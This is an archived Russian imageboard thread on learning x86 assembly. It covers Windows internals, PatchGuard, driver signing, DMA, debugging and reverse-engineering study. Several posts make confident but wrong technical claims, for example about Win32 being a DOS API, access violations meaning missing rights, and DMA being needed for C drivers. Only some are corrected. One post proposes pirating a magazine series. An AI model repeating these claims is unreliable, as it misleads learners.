Этого треда уже нет.
Это копия, сохраненная 4 августа 2022 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
assembly-code-cartoon.png147 Кб, 776x1033
ASM тред №15 /asm/ 2241525 В конец треда | Веб
«вдумчивый АSМ-тред на доске вкатывальщиков»

ASM — это всё т.н. low-level-программирование — программирование в машинных инструкциях.

Полезные источники: https://conspectuses.blogspot.com/2021/12/blog-post.html
Бонус от анона «…по желанию»: https://pravmissia.ru/fhjeu745t/uploads/2015/11/ivin_isskustvo_ptavilno_mislit.pdf

Предыдущий тред: https://2ch.hk/pr/res/2079195.html#2233672 (М)
image.png210 Кб, 552x1035
2 2241577
Байтаны, багтрак уже пару лет как разложился на плесень и липовый мед, где можно мониторить годноту помимо очевидных CVE|MITRE|NVD?
3 2241579
>>241577

>багтрак уже пару лет как разложился на плесень и липовый мед


Зато наш тред цветёт и пахнет:3
По существу вопроса - не знаю
4 2241913
>>241577
nvd.nist.gov если именно CVE и exploit-db.com с гитхабом если нужны эксплойты
5 2253113
>>241525 (OP)
Продолжаю чтение книги Эндрю Таненбаума "Современные операционные системы" которую мне здесь осенью советовали. Уже добрался до главы про windows, надо же Эндрю Таненбаум говорит что windows vista пиздатая ось была просто производители железа и популярность ноутбуков в то время гавно ей в штаны залили. Честно говоря первый раз такую точку зрения слышу и она мне довольо понравилась, потому что все обычно тупо берут и хуесосят висту в духе "ряяя аптимизация никакущая" хотя таже семёрка потребляет +- столько сколько виста, да, она видимо просто обогнала своё время.
6 2253461
>>253113
у неё ж там вроде своё ядро было
7 2253462
>>253461
Всмысле своё ядро? У каждой версии ос своё ядро. У висты было NT ядро версии 6.0 вроде. Ну да типа новая версия NT ядра более безопасная, производительная, но т.к. в те годы популярность приобрели ноутбуки маломощные и производительность железа застопорилась в прогрессе её не оценили, а потом выпустили слегка переработанную семёрку но позже и она на ура зашла
8 2253464
>>253462
хз, я помню что как минимум с точки зрения протектора ядра она сильно отличается от остальных версий
9 2253470
>>253464
>>253464
что такое протектор ядра?
10 2253474
>>253470
патчгуард
11 2253599
>>253474
мерси. понял.
12 2253601
>>253474
Погоди, а разве обновления шинды не патчат ядро?
13 2253819
>>253601
Возможно и патчат, но они не так часто появляются, а патчгуард на регулярной основе работает, где-то раз в полчаса активизируется
14 2253868
>>253819
Понял мерси. А этот патч гард ещё актуален? а то я на вики в основном и прочёл что он в висте был введён в 64битной.

вот в современных 10,11 он есть?
15 2253877
>>253868
да, в каждой нт винде есть
16 2253880
>>253877
мерси.
17 2254097
Поясните, плиз что значит вызовы-оболочки в windows?

Ну типа вызов win32 api createprocess является оболочкой для вызова nt api ntсreateprocess.

Это типа вызов NT API создаёт прцесс через вызов win32api так чтоли?
18 2255114
>>254097
Не гаранитрую что мои слова верны, но на сколько я знаю win32 api это api для ms dos ну для винды на базе доса 95-98.

У nt есть свой api но майкрософт стараются скрывать его и делать так чтобы люди им не пользовались, а юзали win32api сделано это для того чтобы прилы были совместимы как и с nt ядром так и с виндой построенной на базе msdos

Ну типа win32 api обеспечивает совместимость для приложений с разными версиями винды.
19 2255146
>>255114

>У nt есть свой api но майкрософт стараются скрывать его и делать так чтобы люди им не пользовались



Всё так. В простонародье известно как Native API. Майки не дают документации, есть только народная: http://undocumented.ntinternals.net

ШиндовсAPI-вызовы в основном внутре просто дёргают Native.
krnl.PNG8 Кб, 975x515
20 2255309
>>255146
Ядро не может запуститься в среде win32 к сожалению...
21 2256355
>>255114

>win32 api это api для ms dos ну для винды на базе доса 95-98


эм че...
22 2256441
>>256355
А что я не так сказал.

Для программ которые писали для win 95-98 использовать win32 api.
win 95 и 98 это по сути ms doc на которой запускается графическая оболчка. Правильно? Правильно.

Что я не так сказал, поправь меня
23 2256443
Для того чтобы драйвер работал в винде он должен быть подписаным специальным центром сертфицикации от микрософт. Хорошо ладно. А как тогда разработчики антивирусов живут? Ведь антивирь которые не работает в системе через собственные драйверы не антивирь. Вот доктор веб ладно, они вроде чисты, а как подзалупный каспеерский работает? Неужели им выдаются эти цифровые подписи?
24 2256525
>>256443
Делают фильтр файловой системы то есть привязывают свой маня драйвер к уже существущему драйверу, это горадо проще.
25 2257166
Как считывать символы с экрана? С чего начать копать?
26 2257171
Думаю что стандартные приложения используют стандартный вывод на экран. Нужно считать символы написанные в блокноте в реальном времени.
27 2257301
>>241525 (OP)
Поясните мне плиз пожалуйста за архитектуру x86. Сколько их штук то?

x86 и x64? Часто про вижу ещё x86_64 так будто это тоже какая-то отдельная архитектура.
Не понимаю как они разделяются(ассемблер ещё не начал изучать, т.к. щас дочитываю книги про ос, но уже заранее интересно)
28 2257382
>>257301
В гугле забанили?

>Сколько их штук то?


Одна. Так же там имеется некоторое количество расширений. В т.ч. с разной разрядностью адресов, но при этом сохраняется полная обратная совместимость: X86 ⊃ IA-32 ⊃ AMD64=X86-64. Но эти расширения единовременно вместе не доступны (взаимоисключающие) - нужно переключать режимы.
29 2257399
>>257382
Не в ту сторону включение. ⊂
Да не важно в общем.
30 2257468
>>257382
Спасибо. Понял, что просто x86 это одна архитектура с разными расшиерниями. Надо короче книгу по ассемблерам читать
31 2257760
>>256441
При чём тут вообще 95-98? Вин32 появился вместе с нт версиями винды, его и сейчас используют везде.
32 2257761
>>256443

>Неужели им выдаются эти цифровые подписи?


Естественно выдаются, а хули нет. И вообще, драйвер может работать и без подписи, но это уже другая история.
33 2257812
>>257760
Да я уже щас почитал как раз только что статью, извини, обосрался.

А posix и os\2 api современные версии винды поддерживают? Или только win32?
win32 api.PNG12 Кб, 1129x68
34 2257859
>>257760

>При чём тут вообще 95-98?


При том что он в них использовался и то что win32 api был представлен вместе с выходом первого nt этого никак не отменяет.
g out.PNG21 Кб, 1154x169
35 2257931
>>257171
Если в винде то копать надо где-то здесь
36 2257950
>>241525 (OP)
К сожалению с введением облачной аутентификации (ключ шифрования клиент, ключ дешифрования сервер) и hash функций, ассемблеры и прочее становится абсолютно бесполезным для взлома. Если бы хотя бы эти hash суммы хранилиь в пределах одного пк можно было бы по прежнему что-то переписать где-то и поломать. А щас усё.
37 2257955
Uefi ещё этот ёбаный гавна в штаны залил с этими hash функциями, но это ещё посильно туда-сюда если детально разобраться то впринципе можно переписать этих hash значения на свои, т.к. всё локально расположено. А вот в клиент-серверных моделях это бесполезно, ну или надо супер наноёба тру хакеромъ работающим на цру, хотя даже црушники не заморачиваются а тупо бекдоры юзают
38 2258028
>>257166

>Как считывать символы с экрана?


Глазами.

>>257171
Если просто пользователь набирает текст в блокноте, тогда хукай Edit Control.
39 2258947
>>257812

>А posix и os\2 api современные версии винды поддерживают? Или только win32?


https://en.wikipedia.org/wiki/Microsoft_POSIX_subsystem

>При том что он в них использовался


Ну круто, только чел выше говорил не об этом
40 2259478
>>258947
а Windows subsystem for linux это что такое? Типа подсистема posix в лине?

Не понятно формулировка почему windows подсистема для линукс а не наоборот linux подсистема для шинды
41 2259661
>>259478
Ну там же прям ссылка на статью есть. Это для совместимости винды с линуховскими эльфами.
42 2259675
>>259661
Извини, но я не открывал твою статью, т.к. ещё до твоего поста нашёл что posix и os\2 перестали поддерживать. Сорри за неувожение.

Алсо, я охуел с того что в треде всего 10 постеров, 3 из которых это я роутер перезагружал. Не думал что asm тредик настолько непопулярный
43 2259709
А где вообще программировать на асме? Как его компилить? В вузике работали с асмом в среде tasm и прогали под дос, нахуя не понятно.
44 2259968
>>259709
Пишешь исходники в текстовом редакторе, как и на любом ЯП.
Затем, запускаешь программу ассемблера на них, она выдаёт объектный файл. Который ты подлинковываешь в бинарник. Всё!
45 2259969
>>259675

>Не думал что asm тредик настолько непопулярный


Всё потому, что мало его кто знает нынче. А если кто и знает - редко применяют. Очень уж специфичная штука.
46 2260023
>>254097

>Ну типа вызов win32 api createprocess является оболочкой для вызова nt api ntсreateprocess.


>


>Это типа вызов NT API создаёт прцесс через вызов win32api так чтоли?



Обьясняю.

Win32 API который есть на MSDN, это API которые доступны для программистов, их ты должен и можешь использовать в своем коде.

NT API, это API, которые официально не документированы, т.е. скрыты от глаз обычных прогроммистов, естественно что Microsoft не рекомендует использовать эти API, потому что не может гарантировать что они не изменятся в будущем, или вообще убрать их.

Но так как за годы существования винды написаны тонны говно-кода, использующие все возможные и невозможные низкоуровненые трюки, то ничего не меняется. Microsoft-у нужно поддерживать совместимость, потому что дохуща всяких игрулек защищено говно-защитами типа Starforce, Denuvo и им подобным. Естественно что там используются такие низкоуровневые вещи, о существовании которых и в самом Microsoft знают, может с десяток человек.

А так ты всё правильно сказал WinApi CreateProcess это просто обертка под более низкоуровневые функции, имплементация которых официально скрыта от обычных программистов.
47 2260026
>>260023
Мерси. Очень разврнутый ответ, моё увожение, анон
48 2260047
>>256443

>Для того чтобы драйвер работал в винде он должен быть подписаным специальным центром сертфицикации от микрософт. Хорошо ладно. А как тогда разработчики антивирусов живут? Ведь антивирь которые не работает в системе через собственные драйверы не антивирь. Вот доктор веб ладно, они вроде чисты, а как подзалупный каспеерский работает? Неужели им выдаются эти цифровые подписи?



Подзалупность Касперского никто официально не доказал. Всё на уровне слухов.
Для Microsoft Касперский это просто отдельная security-шарага, коих на сегодняшний момент сотни по всему миру. Не вижу проблем в выдаче им такого сертификата. Кстати он называется

Тем более что никаких санкций на Касперском нет, в отличие от других российских компаний.

Кстати не понятно про какой именно сертификат говоришь?

Extended Validation (EV) Code Signing Certificates - так называется сертификат для подписи драйверов
WHQL - так называется расширенное тестирование, когда твой говнодрайвер тестируют во множествах конфигураций, чтобы понять что он не глючный
Early Launch Antimalware (ELAM) - фича драйверов появившаяся в Windows 8, которая позволяет драйверу стартовать раньше других, чтобы иметь возможность быть неубиваемым. Чтобы получить возможность подписать такой драйвер, нужно иметь сертификаты от разных незавимисых тестеров антивирусных компаний что твой АВ это не фейк-АВ.
49 2260065
>>260047
Спасибо ещё за такое подробное объяснение, оставайтесь в тредике и дальше, хорошо что здесь можно вопросы такие задавать и люди развёрнуто отвечают

>Кстати не понятно про какой именно сертификат говоришь?


Я просто книге Э. Танненбаума щас про устройство современных ос читаю и там в разделе про винду он просто упоминул что драйвера подписываются, а что их несколько этих видов я там такого не видел. Спасибо, что расписал.
50 2260087
>>253474

>патчгуард


>>253601

>Погоди, а разве обновления шинды не патчат ядро?



Путаете теплое с мягким.

Патчгуард это технология для защиты от изменений в коде/данных работающего ядра в памяти. Т.е. когда комп включен, винда не позволяет изменять код ядра другими словами "патчить его". Дело в том что раньше было дохуища руткитов, которые статровали вместе с Windows, патчили ядро и становились невидимыми для практически всего. Еще таким же баловались всякий security-софт, в том числе вышеупомянутая защита для игрулек.

В какой-то момент Microsoft сказала что патчи ядра запрещены, все кто патчит это говно-софт, которому даже сертификатов для подписи выдавать не будем. А если патч будет задетекчен с помощью технологии Patchguard, то тупо показывается синий экран смерти, чтобы неповадно было.

Кстати в iOS/OSX есть подобные технологии, которые называются KPP (Kernel Patch Protection) и KTTR (Kernel Text Readonly Region)

Так вот, когда ты скачиваешь обновления для своей ОС. Это обновления - "патч", ничего в памяти не патчит и никакой код там не изменяет. Обновление ОС тупо меняет бинарные файлики ядра на диске на более новые. Именно поэтому после обновления ядра тебе нужно перезагрузить комп, чтобы новое ядро загрузилось в память.

Обновление ОС c Patchguard не имееет ничего общего.

Кстати Patchguard обходится одним очень простым трюком.
51 2260106
>>260087
Ещё раз спасибо, анон. Продолжай, если ещё в треде будешь видить какие-то вопросы или что кто-то неправильноп пишет поправляй и максимум развёрнуто, очень просто и информативно тебя читать
52 2260109
>>260087
Теперь ясно, патчгард защищает от измнений ядра во время работа, а обновления шинды патчат исходники ядра и изменения становятся видны только после перезагрузки оси, то есть выгрузки и загрузки вновь её в память.
53 2260150
>>260087

>Кстати Patchguard обходится одним очень простым трюком.


Каким?
54 2260174
>>259968
А чтоб пошагово выполнять? Вот для микроконтроллеров есть microchip studio, очень удобно.
55 2260367
>>260087

>Путаете теплое с мягким.



>Патчгуард это технология для защиты от изменений в коде/данных работающего ядра в памяти


Так я то же самое сказал, не?
>>260150
А тебе зачем :D
56 2260389
>>260367
Для обучения.
57 2260435
А порты которые используют программы, ну типа как в сетевых программах скан портов, закрыть порт. Эти порты являются механизмом для локального межпроцессного обмена ну когда 2 процесса запущенные на одном пк обмениваются данными?
58 2260706
>>260435
нет конечно, было бы очень тупо для обмена данными на одном и том же компе использовать сеть в принципе
59 2260747
>>260174
Пошагово выполнять на компьютере? В смысле, x86?

Ну есть различные отладчики. Как правило, в обыкновенных ситуациях, ими можно пошагово выполнять инструкции процессора. В отладчике можно наблюдать содержимое регистров, памяти.

Но есть сложные, особые ситуации. Например, когда пишешь ассемблерный код, который только при загрузке операционки будет работать. Или при обработке прерываний. Тут уже всё куда сложнее. Кажется, есть такой SoftICE отладчик. Очень крутой. А так, вообще без отладчика, тупо пишешь крайне внимательно ассемблерный код, и в сложных условиях его запускаешь и смотришь - как оно работает.
Можно сделать некий отладочный вывод. А вообще, можно ещё предварительно в мягких лабораторных условиях погонять и поотлаживать урезанный код, который бы делал почти то же самое, что и боевой. Ну а после, когда он будет готов, испытать боевой код в естественной среде.
60 2260748
>>260747
Не забывай - кажется инструкция int 3 (или int 5) генерирует отладочное прерывание в windows. Т.е. можно ассемблерную программу написать, запустить под отладчиком, подождать пока сработает эта инструкция, и там уже отлаживать.
61 2260832
>>260706
А что такое порты тогда? Какой части ос они принадлежат? Это чатсть какого-то сетевого интерефейс к которому может программа обращаться для получения данных извне?

У меня с сетями вообще беда прям, никогда их не любил.
62 2260843
>>260747

> Нaпримeр, кoгдa пишeшь aссeмблeрный кoд, кoтoрый тoлькo при зaгрузкe oпeрaциoнки будeт рaбoтaть. Или при oбрaбoткe прeрывaний


Тaк eгo мoжнo в виртуaлкe гoнять и тoжe oтлaдчик юзaть
63 2260898
>>260832
Порт - это целое число, которое позволяет ОС различать между собой различные серверы, запущенные на ней.
64 2260900
>>260843
А чо, нынче есть виртуалки, куда отладчик можно подключить?
То, что есть виртуалки - я знаю. Там действительно часто гоняют написанный код.
65 2260931
>>260898
Спасибо, я нихуя не понял, единственное что я понял что нужно будет ещё книжечку Танненбаума по компьютерным сетям навернуть, чтобы хоть поверхностное прдеставление иметь, иначе никак.
66 2261056
>>260931
Всё правильно понял.
67 2261474
>>260832

>А что такое порты тогда?


Число, или параметр, если удобно. Параметр сетевых запросов, который даёт понять, какая программа делала запрос (например), чтобы дать ей ответ. Это грубо говоря, просто чтоб ты понял примерно.

>У меня с сетями вообще беда прям, никогда их не любил.


Ну тогда читай что-нибудь по ним, я вот возможно скоро таненбаума буду читать.
68 2261601
>>261474
Спасибо большое, ты понятнее объяснил.

>я вот возможно скоро таненбаума буду читать.


Same, нравится как он пишет. Да без сетей никуда, хотя компьютерные сети, роутеры, коммутаторы это то что меня интересует меньше всего, но без этого видимо никак, нужно хотя бы примерно понимать что это такое
69 2261648
>>261601

>это то что меня интересует меньше всего, но без этого видимо никак


а что тебя интересует?
70 2262301
>>261648
Ассемблеры, С\С++, драйвера, всякий ввод\вывод, ядра осей, файловые системы, антивирусное по(которое в ядре ос работает, а не всякое почтовое, сетевое) как озу работает, эти страницы с виртуальной-физической память, как ресурсы процессору выделяют, как потоки ебашутся в процессоре, но только не сетевая хуйня с этими вланами, роутерами, адресами, dhcp, ip4, ip6 и т.д. Такое дрочево унылое. Хуже этих сетей только веб разработка вот это вообще невыносимое для меня дрочево, настолько что я даже когда про вёрстку в браузере сел читать меня чуть не вывернуло.

Но впринципе если сети нужны для лучше понимания осей(а это ведь их часть, всё таки этот стек tcp\ip часть всех соверменных осей. Надо хотя бы поверхностно знать, надо.
71 2262606
Кстати, а реально а зачем используют ассемблер в современных реалиях? Щас даже драйвера устройств на си пишутся потому что DMA
72 2262719
>>262606

>драйвера устройств на си пишутся


>DMA


Как связано?
73 2262780
>>262719
То что си заточен под низкооровневое взаимодействие с памятью, а без дма на си написать его невозможно. потому что нужно напрямую процессору давать команды на ввод вывод, указываеть регистры и т.д.
74 2262785
>>262719
>>262780
Но я на истинность не претендую, я ньюфаня и это то как я щас понимаю в данный момент если я не прав то поясни мне плиз как всё это работает на самом деле
75 2262786
>>262780

>без дма на си написать его невозможно


Почему?

>нужно напрямую процессору давать команды на ввод вывод, указываеть регистры и т.д.


Ничего не понял.
76 2262790
>>262786
Потому что ДМА контроллер обеспечивает взаимодействие между устройство через озу.

А без него нужно напярую от процессора вводы выводы давать и указывать регистры где хранить информацию от устройства.
77 2262832
>>262790

>ДМА контроллер обеспечивает взаимодействие между устройство через озу


>низкооровневое взаимодействие с памятью, а без дма на си написать его невозможно


>драйвера устройств на си пишутся


Что-то не могу я связать эти три пункта.

Насколько я понимаю DMA здесь ни при чём. Си для написания драйверов используют лишь потому, что это - ЯВУ со всеми причитающимися удобствами/свистоперделками.
78 2262852
>>262832
Ну я не разбираюсь, я только вчера об этом узнал и у меня очень узкие знания. Мне ещё предстоит это всё узнать.
79 2263822
>>241525 (OP)
Аноны, а существует ли книга по ассемблерам уровня Стивена Праты для Си? Чтобы толстенная и полезная была.
80 2263827
>>263822
Опыт подсказывает что важно не язык выдрачивать, а выдрачивать устройства и api тех программ\устройств\ос для которых ты пишешь, а язык это чисто 5%
81 2263877
>>263827
Да просто не понятно как это все применять. Хотелось бы на примеры посмотреть или курс лекций почитать, чтобы весь пазл сложился в голове.
82 2263884
>>263877
Ну от того что ты язык подробно выдрочишь до мельчайших деталей ты кроме того что будешь отлично знать синтаксис языка и его библиотеки стандартные ничего более не сможешь.

Язык надо учить но читать книги в неск. домой на мой взгляд неразумно. лучше язык выучить что примерно понимать что там есть и что оно означает а далее делать упор на разработку драйверв\состав осей и т.д. Системной программирование это очень обширная тема, это тебе не в вебе на 5 этажных фремворках гавно клепать или в редакторе игровго движка модельки 3д мышкой тоскать это настоящее программирование, классическое куда хуй вкатишься и нужно реально быть задротом отмороженным.

Просто читай читай и со временем информация накопится до критической точки.

Я сам уже прочитал Д. Ритчи Язык С, Бьёрн Страуструп основны ООП на примере С++, архитектура пк(как процессоры делают), щас вот дочитай Э. Таннебаума где он своременные операционные системы описывает, потом ассемблеры буду читать, потом как компляторы\отладчики планирую, потом наверное буду более деатльно в структурах ОС Windows разбираться, буду русиновича читать, обязательно книжечку по сетям от Э. Танненбаума, надо бы ещё почитать как материнские платы устроены там...

Да короче читать, читать читать рано или поздно информация начнёт складываться. Ну и здесь фактор что я кайф неподдельный испытываю от этого, мне вот нравится эта низукорвневая тема, мне не важно есть работа, не работа, я просто позитивные эмоции получаю от этого и другого мне не надо.
83 2263894
>>263884

>библиотеки стандартные


Туда ли ты зашёл?

>Язык С ... основны ООП


Залётный какой-то.
84 2263898
>>263894
Я не в рамках треда говорю, а в целом об области системного программирования. ассемблер лишь часть.
85 2263903
>>263884
Спасибо за ответ. Я в целом, уже работаю макакой на Сях, но хочется прокачаться в лоу-левел теме. Ломать и реверсить бинарники, паковать демки в 64кб и прочие крутые штуки.

>Ну и здесь фактор что я кайф неподдельный испытываю от этого, мне вот нравится эта низукорвневая тема, мне не важно есть работа, не работа, я просто позитивные эмоции получаю от этого и другого мне не надо.


Сейм.
86 2263905
>>263903

>работаю макакой на сях


моё увожение. не так легко найти и устроиться.
87 2263914
>>263905
Это не так сложно как кажется. Сейчас хочу научиться хорошо писать на плюсах, выучить теорию типов и компиляторов, и попытаться попасть в МЦСТ. Уж больно хочется с нашими процессорами поработать. Там как раз пару вакансий на сайте висит, одна из которых - разработчик компилятора.
88 2263917
>>263914
Ну тебя прям на самый низкий уровень тянет, мне больше интересны драйвера устройств, антивирусы и архитектура винды\линукс, что-то новое разрабатывать не охота.
Желаю удачи, анон.
89 2263968
>>263917

>Желаю удачи, анон.


Взаимно.

>драйвера устройств, антивирусы и архитектура винды\линукс, что-то новое разрабатывать не охота.


С таким подходом не планировал в Касперский вкатиться? А потом, мб куда-нибудь и получше попадешь.
90 2264022
>>263968
Не, даже не думаю. Я вообще дома сижу на материной шеи и не работаю, думаю туда и без меня хватит людей после вузка с дипломами + у них там математика всякая и алгоритмы, у доморощенных людей шансов нет, мне кажется

У тебя небось вышечка есть профильная?
91 2264052
>>264022

>У тебя небось вышечка есть профильная?


Как ты узнал?

>Не, даже не думаю. Я вообще дома сижу на материной шеи и не работаю


А какие планы на дальнейшую жизнь вообще, помимо РНН офк?
Просто если тебе действительно интересна эта область и у тебя получается ее понимать, то есть немало шансов, что ты сделаешь что-то годное или найдешь работу. Ибо диплом кроме бумаги для работодателя нихрена не дает.
92 2264055
>>264052

>как ты узнал?


На си анриал почти без вышки вкатиться почти все вакансии вышку требуют

>какие планы


Да не знаю, смысла даже загадывать нет всё равно жизнь не идёт как хочется человеку просто тупо делаю что нравится и голову не забиваю.
93 2264145
>>264055

>Да не знаю, смысла даже загадывать нет всё равно жизнь не идёт как хочется человеку просто тупо делаю что нравится и голову не забиваю.


Может быть у тебя какие-то свои идеи для проектов есть? Йоба-софт написать или редкую японскую инди игру крякнуть?
94 2264149
>>264145
Анон, не надо. Я сам со своей позиции вижу куда мне идти, за заботу спасибо, но мне нормально и всё устраивает к тому же я ещё только учусь. Закрыли короче эту тему сидим дальше в тредике и обсасываем ньюфажные вопросы
95 2264175
>>264149

>Анон, не надо


Да я не давлю, просто интересно твои мысли послушать. В целом, как хочешь.
96 2264464
>>241525 (OP)
ПОМОГИТ ПОМОГИТЕ!!

иногда вылетают хром и мозилла, после запуска потом вылетают снова до перезагрузки

винда с нормального образа
оперативка тесты проходит

что делать?
еще вылеты были когда играл в некоторые игори

в хроме пшет STATUS_ACCES_VIOLATION, что указывает на косяки с памятью

но я не знаю как точно посмотреть на какой части кода исполнение сломалось и что делать дальше

Если я подключу отладчик и дождусь вылета, я окажусь на месте последней рабочей инструкции?
97 2264472
>>264464
в линуксе не вылетает
может можно найти проблему и патчей накатить?
98 2264476
>>264464
Да без отладчика не выяснить. Хотя я бы первым делом попробовал бы тупо озу на ошибки проверить, може решилось бы.

А так да отладчиком вообще что угодно может быть абсолютно что угодно, нужно смотреть чё там внутри.
99 2264562
>>264476
память проверял два раза, норм
проверял мемтестом

где почитать что делать с minidump, который создается при синем экране?
100 2266335
>>264562
Попробуй хром в режиме от админа позапускать ещё, статус аксцев валейшн обычно от недостатка прав идёт, ну к каким-то ресурсам отказано в доступе.
101 2266477
>>266335

> статус аксцев валейшн обычно от недостатка прав идёт


Пиздец блядь, с какими доделями я на одной борде сижу.
102 2267804
>>258028

>Глазами.


И?
square3202ae978183310b7a3e921e8628b2c3314.jpeg11 Кб, 320x320
103 2267873
>>267804

>И?


И всё.
104 2267930
>>267873
Нахуй надо
105 2268524
>>262832
При дма обмен идет через память, а без дма нужно на ассемблере с регистров данные от устрайства считывать. Нет дма и на си ты драйвер не напишешь
106 2269138
>>262832
>>268524
Для обмена информацией между устройствами используются порты ввода этих самых устройств.

Ну допустим процессор для обмена информацией с жёстким диском имеет 8 регистров куда поступает инфа, различные флаги и состояния от жд. Для того чтобы взаимодействовать с этими портами нужно в драйвер ассемблерный код вставлять указывающий регистры куда что посылать и откуда что принимать.

А DMA минует процессор и отображает эти порты ввода вывода в физическую память. Поэтому при технологии dma можно напистаь драйвер целиком на си, т.к. порты ввода вывода находятся в памяти а в си есть средства для низкоуровневого взаимодействия с памятью, а вот средств для обращению к региструю процика нет. Надеюсь пояснил
107 2269369
>>269138

>Для того чтобы взаимодействовать с этими портами нужно в драйвер ассемблерный код вставлять


не в драйвер в смысле а в его исходнрик, можно и в си вставить ассемблеры. я проебался. ну короче суть вы должны понять
AMDx86-64ArchitectureProgrammersManuals.jpg87 Кб, 768x540
108 2269749
>>241525 (OP)
что это за тома? годные ли?
109 2269774
>>241525 (OP)
Есть ли смысл изучать x86? Или тупо сразу на x64 пиздовать?
110 2269867
>>269774

>Есть ли смысл изучать x86


Ну давай, попробуй начать с нуля с x64 ассемблера. А мы за тобой понаблюдаем.
111 2270105
>>269867
А оно там цепляется одно за другое. Понял, понял. Ну тогда x86 начнём.
112 2270171
>>270105
Не пренебрегай бонусной книжкой, для разогрева мозгов. Херни не посоветую.
113 2270176
>>270171
Спасибо, понял. Не будем.
115 2271144
>>270105
А ты чем заняться хочешь? RE?

Ну тогда наверно не стоит ждать когда ты догрызешь какой нибудь Art of Assembly with Linux а побыстрее переходить к практике.

Кстати вот эта серия статей кажется чем то годным https://xakep.ru/issues/xb/002/, думаю может купить да слить в общую раздачу https://rutracker.org/forum/viewtopic.php?t=3304959

А так ну берешь Ghidra, IDA Pro, Crackmes и вперед.
116 2271150
>>271144

>думаю может купить да слить в общую раздачу


Ну народ, скажите что думаете.

Вообще лично меня радует что ксакел еще жив и в журналах до сих пор много интересного пишут. А в этой серии статей еще есть статья от Криса Касперски (RIP) которая у них не выходила, но писал он.
117 2271492
>>271144
Я не знаю даже что такое RE. Просто ньюфаня хочу в ассемблер вкатиться.

>серия статей


Ой не, спасибо, я по книгам привык всё изучать там всегда полная и разврнутая базовая информация.
118 2271512
Как APM/ACPI управляет процом и другим железками (на примере x86)? Небось через каналы какие-нибудь
119 2271520
>>271150
Оповестить потом не забудь.
Я как раз архивы этого журнала начал перечитывать.
120 2271525
>>271520

>Я как раз архивы этого журнала начал перечитывать


Так все номера на рутракере есть ссылка выше
121 2271527
>>271492

>Я не знаю даже что такое RE


Reverse Engineering
122 2271531
>>271527
А ну это норм, да. Я бы в будущем хотел уметь такое исполнять. Но сейчас у меня более ограниченные цели: освоить ассемблер, прочитать про устройство компиляторов на примере каокго-нибудь с\с++ и конечно же дебагерами научиться пользоваться.

Так далеко не загадываю.
123 2271534
>>271531

>прочитать про устройство компиляторов на примере каокго-нибудь с\с++



https://www.amazon.com/Writing-Interpreter-Go-Thorsten-Ball/dp/3982016118
https://www.amazon.com/Writing-Compiler-Go-Thorsten-Ball/dp/398201610X
https://www.amazon.com/Crafting-Interpreters-Robert-Nystrom/dp/0990582930

И такого сейчас навалом. Даже не GitHub была большая серия статей ну там целый репозиторий, считай книга по созданию простого компилятора.

Ибо Книга Дракона это академический хардкор, для самоучки особенно. Аминь.
124 2271541
Но я на самом деле сам сейчас ассемблер изучаю. Хочу вкатиться в RE. Уже простенькие cracmes ctf решаю.

x86 уже не пугает ... почти.

Смотрел сегодня выступление cppcon 2017: https://www.youtube.com/watch?v=bSkpMdDe4g4

И нифига не могу врубиться что происходит на 35:29 (первый пик), а именно:

eax:edx = x * 0xaaaaaaab

вот что означает это двоеточие? что тут происходит? буду рад если кто пояснит

И вот еще тоже на 24:32 (пик 2): зачем shr rax, 2? нафига компилятор тут делит на 4?
125 2271542
>>271534
Мерс, анон, сохранил. Спасибо огромное
126 2271558
>>271525
Благодарю.
127 2271662
>>271541

>вот что означает это двоеточие


результат помещается в пару регистров

>зачем shr rax, 2? нафига компилятор тут делит на 4?


чтобы установить зф
128 2272022
Что такое сканирование шины?
129 2272032
>>271662

>результат помещается в пару регистров


Точно? Я тут просто кое как нагуглил что таким образом обозначается адрес и оффсет (внутри этого адреса, если я правильно понял)
130 2272087
>>272032
Это было в те древние времена, когда имела место быть сегментная модель памяти.
131 2272091
>>272032
так есть, но конкретно здесь имеется ввиду два регистра, потому что умножили на 32-битный регистр. Это всё есть в мане https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html
132 2272245
>>272091
Ну а почему тогда просто не поместить результат в RAX какой нибудь вместо двух 32-bit'ных регистров? Или это уже просто логика компилятора и не надо гадать зачем он именно так сделал?
133 2272247
По крайней мере стало понятно что изучать asm по листингам компилятора идея не очень.

За ссылку на мануал спасибо, но я не понял в какую именно pdf'ку мне смотреть. Простите за невежество.
1492973181056.png48 Кб, 885x425
134 2272267
>>272245
легаси x86 поди, когда не было 2n-битных регистров результат хранили в 2-х n-битных.
>>272247
там описание есть, смотри что интересует.
135 2272337
>>241577
Mailing list-ы. https://seclists.org/oss-sec/ , например.
136 2272838
>>272337

>Mailing list-ы


Хех, он там у них остался один более-менее живой, по опенсорс софту)
137 2273266
Только что дочитал книгу Эндрю Танненбаума про операционные системы, начал читать где-то в 20ых числах ноября, закончил только сегодня. Ну 2 месяца читал, читал вдумчиво разумеется, вникая и перечитвая, но упражнения и ответы на вопросы в конце глав я не делал, так наверное книга бы растнулась на пол года я думаю.

Теперь про ассемблеры читать начну с классической x86 и затем перейду к x86_64

Посоветуйте, пожалуйста, книгку по ассемблеру x86 желательно для ньюфань(ну я с\с++ хорошо знаю, но в ассемблерах вообще особо не ебу) чтобы там все подробности разжевали, а не тупо сразу синтаксис подали. Спасибо.

Книга Танненбаума мне понравилась, очень подробная годная
138 2273403
>>273266
Да мне эту книгу про ос здесь анон один советовал, спасибо ему ещё раз. Надеюсь он ещё сидит здесь
139 2273513
>>241525 (OP)
Ищу, непонятное что-то в инете пишут, конкретно регистр данных какую разрядность имеет?
регистров общего назначения это и есть регистр данных? тогда тут 80 бит, и как это понимать
140 2273518
>>273513
А что там не понятного? Там же написано что в одном регистре 80 разрядов. 1 байт = 8 разрядов. Следовательно 80 делим на 8 и получает 10 байт. Правильный ответ 10 байт в одном регистре.
141 2273519
>>273513
С определениями я бы не заморачивался у одной только архитектуры x64 сколько названий только нет и путаницы дохуя, тыкай что 10 байт вот и всё, я думаю он пройдёт как правильный.
142 2273520
>>273518
А, я что-то в уме прикинул что 80 это где-то 2^6 и 2^7, поэтому не складывалось, затупил
>>273519
спасибо
143 2273526
>>273520
да бывает. просот в голове держи всегда 1 байт = 8 бит.

если хочешь перевести байты в биты то умножай на 8 а если наоборот биты в байт то дели на 8.
144 2273552
